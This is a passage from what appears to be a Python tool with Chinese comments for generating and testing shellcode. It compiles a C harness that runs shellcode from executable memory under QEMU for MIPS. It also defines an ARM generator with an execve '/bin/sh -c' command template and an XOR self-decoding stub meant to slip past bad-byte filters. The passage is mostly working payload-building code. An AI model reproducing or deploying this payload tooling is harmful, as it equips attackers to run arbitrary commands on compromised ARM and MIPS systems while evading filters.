perror("mmap");
return 1;
}}
memcpy(exec_mem, shellcode, sizeof(shellcode));
printf("Executing shellcode at address: %p\\\n", exec_mem);
void (*func)() = (void(*)())exec_mem;
func();
munmap(exec_mem, sizeof(shellcode));
return 0;
}}
"""
qemu_path = config['QEMU_PATH']
c_file_path = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_verify_shellcode.c")
elf_file_path = os.path.join(config["SHELLCODE_DIRECTORY"], "mips_verify_shellcode")
# 2. 写入文件
try:
with open(c_file_path, "w") as f:
f.write(final_c_code)
print(f"[+] C语言测试文件 '{c_file_path}' 已成功生成。")
except IOError as e:
print(f"[-] 错误: 写入文件 '{c_file_path}' 失败: {e}")
return
# 3. 编译
subprocess.run([
f"{config['MIPS_TOOLCHAIN_PATH']}gcc", "-z", "execstack", "-static", "-g", "-o", elf_file_path,
c_file_path], capture_output=True, text=True)
print(f"[+] 编译成功: 可执行文件 '{elf_file_path}'。")
# 4. 执行
result = subprocess.run([qemu_path, elf_file_path], capture_output=True, text=True)
print(result.stdout)
if result.stderr:
print(result.stderr)
if result.returncode == 0:
print("✅ 验证成功: Shellcode 似乎已成功执行 (QEMU 返回值为 0)。")
else:
print(f"[!] 验证警告: Shellcode 执行后 QEMU 返回非零值 ({result.returncode})。可能表示执行中出现问题。")
class ArmShellcodeGenerator:
"""
一个为 ARM 架构生成 XOR 编码 shellcode 的多功能类。
"""
EXECVE_TEMPLATE_ARM = """
.section .text
.global _start
.arm
_start:
adr r0, shell_strings
add r1, r0, #8
add r2, r0, #11
eor r3, r3, r3
sub sp, sp, #16
str r0, [sp, #0]
str r1, [sp, #4]
str r2, [sp, #8]
str r3, [sp, #12]
mov r0, r0
mov r1, sp
mov r2, r3
mov r7, #11
svc #0
failed_exec:
mov r0, #1
mov r7, #1
svc #0
shell_strings:
.string "/bin/sh"
.asciz "-c"
.asciz "{command}"
"""
DECODER_TEMPLATE_ARM = """
.section .text
.global _start
.arm
_start:
adr r4, payload_start
{key_loader}
{count_loader}
decode_loop:
ldrb r7, [r4, #3]
lsl r7, r7, #24
ldrb r8, [r4, #2]
orr r7, r7, r8, lsl #16
ldrb r8, [r4, #1]
orr r7, r7, r8, lsl #8
add r4, r4, #4
ldrb r8, [r4, #-4]
sub r4, r4, #4
orr r7, r7, r8
eor r7, r7, r5
strb r7, [r4], #1
mov r8, r7, lsr #8
strb r8, [r4], #1
mov r8, r7, lsr #16
strb r8, [r4], #1
mov r8, r7, lsr #24
strb r8, [r4], #1
subs r6, r6, #1
bne decode_loop
{loop_count_loader_for_jump}
lsl r8, r8, #2
sub r4, r4, r8
bx r4
payload_start:
"""
def __init__(self, bad_bytes, save_files=False):
"""
初始化编码器并自动执行整个编码流程。
"""
# 步骤 1: 初始化所有属性